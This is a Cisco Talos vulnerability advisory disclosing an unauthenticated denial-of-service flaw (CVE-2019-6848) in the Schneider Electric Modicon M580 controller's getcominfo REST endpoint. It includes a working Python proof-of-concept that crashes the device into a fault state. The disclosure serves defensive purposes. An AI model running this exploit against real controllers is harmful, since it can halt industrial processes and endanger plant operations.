Talos Vulnerability Report

TALOS-2019-0866

Schneider Electric Modicon M580 UMAS REST API getcominfo denial-of-service vulnerability

October 8, 2019
CVE Number

CVE-2019-6848

Summary

An exploitable denial of service vulnerability exists in the UMAS REST API getcominfo functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted HTTP request can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as “UMAS.”

A REST API that allows clients to interact with various pieces of functionality on the device is on the web server, including viewing alarms, querying rack information, and performing select UMAS requests. It is possible to read the registered name of the client holding a PLC reservation by leveraging the “/rest/umas/getcominfo” UMAS endpoint. In cases where a client has obtained a reservation using a registered name of at least 0x34 bytes, a request to the getcominfo endpoint will sometimes cause the device to enter a non-recoverable fault state. In cases where the fault state does not occur, the HTTP server will become unresponsive.

In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

Exploit Proof of Concept

import struct
import socket
import requests
import random

# set up static data
rhost = "192.168.10.1"
rport = 502
verbose = True

def main(): 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))

    clientname = "A"*255
    clientnameLen = struct.pack("B", len(clientname))
    mbapLen = struct.pack(">H", len(clientname) + 9)
    transid = struct.pack(">H", random.randint(1, 255))
    msg = "{}\x00\x00{}\x00\x5a\x00\x10\x3b\x0e\x00\x00{}{}".format(transid, mbapLen, clientnameLen, clientname)
    s.send(msg)

    try:
        uri = "http://{}/rest/umas/getcominfo".format(rhost)
        resp = requests.get(uri, timeout=5)
    except requests.exceptions.ReadTimeout:
        print("[*] Request timed out. This usually indicates a device fault")
    except KeyboardInterrupt:
        print("[*] Exiting...")

    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-07-30 - Vendor Disclosure
2019-09-24 - Vendor acknowledged issue will be released in October 2019
2019-10-08 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos